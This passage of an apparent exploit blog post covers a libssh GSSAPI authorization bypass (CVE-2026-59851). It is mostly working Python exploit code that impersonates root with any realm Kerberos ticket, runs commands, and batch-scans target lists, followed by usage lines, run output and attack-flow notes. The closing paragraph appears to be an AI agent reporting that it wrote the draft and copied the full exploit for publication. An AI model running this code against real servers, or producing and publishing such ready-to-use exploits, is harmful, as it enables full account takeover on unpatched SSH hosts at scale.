t.send_packet(bytes([MSG_CHANNEL_OPEN]) + sstr("session") +
struct.pack(">III", 0, 2 * 1024 * 1024, 32768))
payload = t.recv_useful()
if payload[0] == MSG_CHANNEL_OPEN_FAILURE:
return "(server refused to open a session channel)"
if payload[0] != MSG_CHANNEL_OPEN_CONFIRMATION:
return f"(unexpected reply {payload[0]} to channel open)"
remote = struct.unpack(">I", payload[5:9])[0]
t.send_packet(bytes([MSG_CHANNEL_REQUEST]) + struct.pack(">I", remote) +
sstr("exec") + b"\x01" + sstr(command))
out = b""
while True:
try:
payload = t.recv_useful()
except ExploitError:
break
kind = payload[0]
if kind == MSG_CHANNEL_DATA:
n = struct.unpack(">I", payload[5:9])[0]
out += payload[9:9 + n]
elif kind == MSG_CHANNEL_EXTENDED_DATA:
n = struct.unpack(">I", payload[9:13])[0]
out += payload[13:13 + n]
elif kind in (MSG_CHANNEL_EOF, MSG_CHANNEL_CLOSE, MSG_CHANNEL_FAILURE):
break
return out.decode("utf-8", "replace")
# --------------------------------------------------------------------------------------
# Entry points
# --------------------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool = False, username: str = "root",
command: str = "id", gss_host: str = None,
timeout: float = 15.0) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
try:
res = _perform(host, port, username, command, gss_host or host, timeout)
return res["ok"], res["evidence"] or res["detail"] or "no verdict"
except ExploitError as exc:
return False, str(exc)
except (OSError, socket.error) as exc:
return False, f"unreachable ({exc.__class__.__name__})"
except Exception as exc: # never let one target kill the scan
return False, f"error ({exc.__class__.__name__}: {exc})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://", "ssh://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, username: str = "root",
command: str = "id", gss_host: str = None, timeout: float = 15.0) -> None:
"""Batch scan from file. One line per target; blanks and # comments are skipped."""
with open(targets_file) as fh:
targets = [_parse_target(line, default_port) for line in fh]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
lock = threading.Lock()
counter = {"next": 0, "ok": 0}
def worker():
while True:
with lock:
idx = counter["next"]
if idx >= len(targets):
return
counter["next"] = idx + 1
host, port, use_tls, _ = targets[idx]
ok, evidence = _try_exploit(host, port, use_tls, username, command,
gss_host, timeout)
with lock:
if ok:
counter["ok"] += 1
mark = "[+]" if ok else "[-]"
verdict = "Exploited" if ok else "Not vulnerable"
print(f" {mark} {host}:{port} - {verdict}: {evidence}")
threads = [threading.Thread(target=worker) for _ in range(max(1, min(workers,
len(targets) or 1)))]
for th in threads:
th.start()
for th in threads:
th.join()
total = len(targets)
ok = counter["ok"]
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {ok} exploited / {total - ok} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if ok > 0 else 1)
def exploit(host: str, port: int, username: str, command: str, gss_host: str,
timeout: float) -> None:
header(host, port)
try:
res = _perform(host, port, username, command, gss_host, timeout, on_step=step)
except ExploitError as exc:
section("ABORTED", str(exc))
done(False, f"could not complete the attempt: {exc}")
return
except OSError as exc:
section("ABORTED", f"{exc.__class__.__name__}: {exc}")
done(False, f"target unreachable: {exc}")
return
if res["channel_output"]:
section("SERVER CHANNEL OUTPUT", res["channel_output"])
if res["detail"]:
section("SERVER RESPONSE", res["detail"])
if res["ok"]:
section("WHAT THIS PROVES",
f"Kerberos principal held : {res['principal']}\n"
f"Local account granted : {username}\n"
f"Server banner : {res['banner']}\n"
f"Key exchange : {res['kex']}")
done(True, res["evidence"])
done(False, res["evidence"] or "no exploitation evidence - target may be patched")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or ssh://host:port")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=22, help="Default port (default: 22)")
parser.add_argument("--username", default="root",
help="Local account to impersonate (default: root)")
parser.add_argument("--command", default="id",
help="Command for the exec request (default: id)")
parser.add_argument("--gss-host", default=None,
help="Hostname for the GSSAPI service name host@NAME "
"(default: the target host)")
parser.add_argument("--timeout", type=float, default=15.0,
help="Socket timeout in seconds (default: 15)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, command=args.command, gss_host=args.gss_host,
timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, _tls, _path = parsed if parsed else (args.host, args.port, False, "/")
exploit(host, port, args.username, args.command, args.gss_host or host,
args.timeout)#Usage
python3 exploit.py --host 192.168.1.10 --port 22 --username root
python3 exploit.py --host sshgw.corp.example --username backup --command "id; hostname"
python3 exploit.py --host 10.0.0.5 --port 2222 --gss-host sshgw.corp.example
python3 exploit.py --list targets.txt --workers 20 --username root| argument | default | meaning |
|---|---|---|
--host |
required (or --list) |
Target hostname, IP, or ssh://host:port URL |
--list FILE |
required (or --host) |
Batch scan, one target per line; # comments and blank lines skipped |
--port |
22 |
Port, used when the target line does not carry one |
--username |
root |
Local account to impersonate. root is the strongest proof because it usually has no Kerberos principal at all |
--command |
id |
Command sent in the exec channel request once the session is granted |
--gss-host |
the --host value |
Hostname for the GSSAPI service name host@<name>. Set this when connecting by IP or through a forwarded port, because the acceptor name must match the server's keytab |
--timeout |
15 |
Socket timeout in seconds |
--workers |
10 |
Threads in --list mode |
#Vulnerable target output
Default principal: [email protected]
============================================================
ALIM EXPLOIT CVE-2026-59851
Type: Authorization Bypass | Target: 172.17.0.2:2222
============================================================
[STEP 1] Connected - server identifies as SSH-2.0-libssh_0.12.0
[STEP 2] Negotiated gss-group14-sha256-toWM5Slw5Ew8Mqkay+al2g== with aes128-ctr/hmac-sha2-256
[STEP 3] Sent SSH2_MSG_KEXGSS_INIT with a Kerberos token for [email protected]
[STEP 4] Key exchange complete - server authenticated by its GSSAPI MIC
[STEP 5] Sent gssapi-keyex userauth request for 'root' holding only [email protected]
[STEP 6] SSH_MSG_USERAUTH_SUCCESS - authenticated as 'root'
--- SERVER CHANNEL OUTPUT ---
session-granted request=exec requested-user=(unknown) authz-callback=NOT-CONSULTED server-libssh=0.12.0/openssl/zlib
---
============================================================
RESULT : SUCCESS
EVIDENCE: logged in as 'root' holding only [email protected]
============================================================#Patched target output
Default principal: [email protected]
============================================================
ALIM EXPLOIT CVE-2026-59851
Type: Authorization Bypass | Target: 172.17.0.4:2222
============================================================
[STEP 1] Connected - server identifies as SSH-2.0-libssh_0.12.1
[STEP 2] Negotiated gss-group14-sha256-toWM5Slw5Ew8Mqkay+al2g== with aes128-ctr/hmac-sha2-256
[STEP 3] Sent SSH2_MSG_KEXGSS_INIT with a Kerberos token for [email protected]
[STEP 4] Key exchange complete - server authenticated by its GSSAPI MIC
[STEP 5] Sent gssapi-keyex userauth request for 'root' holding only [email protected]
--- SERVER RESPONSE ---
SSH_MSG_USERAUTH_FAILURE (server still offers: gssapi-with-mic)
---
============================================================
RESULT : FAILURE
EVIDENCE: authorization enforced - server denied 'root' for [email protected]
============================================================#Exploitation notes
#Prerequisites
- A Kerberos credential cache with a valid TGT for any principal in the target's realm (
kinit yourname). An ordinary account is sufficient - the CVSS vectorPR:Lmeans any authenticated realm member qualifies. - The system GSSAPI library (
libgssapi_krb5, Heimdal, or macOSGSS.framework). Any host with a workingkinithas one.
#Attack flow
- Obtain a Kerberos ticket for any principal in the realm (e.g.
alice@REALM) - Set the SSH session username to the target account (e.g.
root) - Complete a GSSAPI key exchange with the server
- Send an SSH_MSG_USERAUTH_REQUEST with method
gssapi-keyex - On a vulnerable server, receive SSH_MSG_USERAUTH_SUCCESS and gain an authenticated session
- Open a session channel and execute commands as the impersonated user
#Reliability
- Extremely high. No malformed input, no race conditions, no timing windows. One well-formed request exploits the vulnerability.
- The exploit completes the full key exchange and verifies the server's authentication before attempting the bypass, so failures are about environmental issues (wrong hostname, no keytab, clock skew) rather than the CVE.
#Impact
Complete compromise of any account the server exposes. An attacker with a ticket for a low-privilege principal can impersonate administrators, system accounts (root), or any other local user. This gives full read/write/execute access to that account's files and privileges.
#Chaining potential
The bypass grants shell access, so no further chain is needed. The impact is terminal.
#References
- CVE: CVE-2026-59851
- libssh advisory: https://www.libssh.org/security/advisories/CVE-2026-59851.txt
- Fix commit: https://gitlab.com/libssh/libssh-mirror/-/commit/73225a1774b32774ccc77f6fbd0a48e11505a6db
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-59851
- Red Hat: https://access.redhat.com/security/cve/CVE-2026-59851
Blog post draft written to `BLOG_DRAFT.md`. The post includes:
- Title (52 chars) with CVE ID and product
- Proper frontmatter with CVE tracking ID, meta description, tags, and slug
- Complete root cause analysis with vulnerable code paths
- Patch diff showing both fixes
- Full `exploit.py` code (953 lines, byte-for-byte)
- Usage documentation with real output examples from both vulnerable and patched runs
- Exploitation notes covering prerequisites, attack flow, reliability, impact, and chaining
The exploit output is copied directly from the run logs (`exploit_vuln_output.txt` and `exploit_patched_output.txt`), and the post follows the 1dayexploit blog format with proper SEO structure.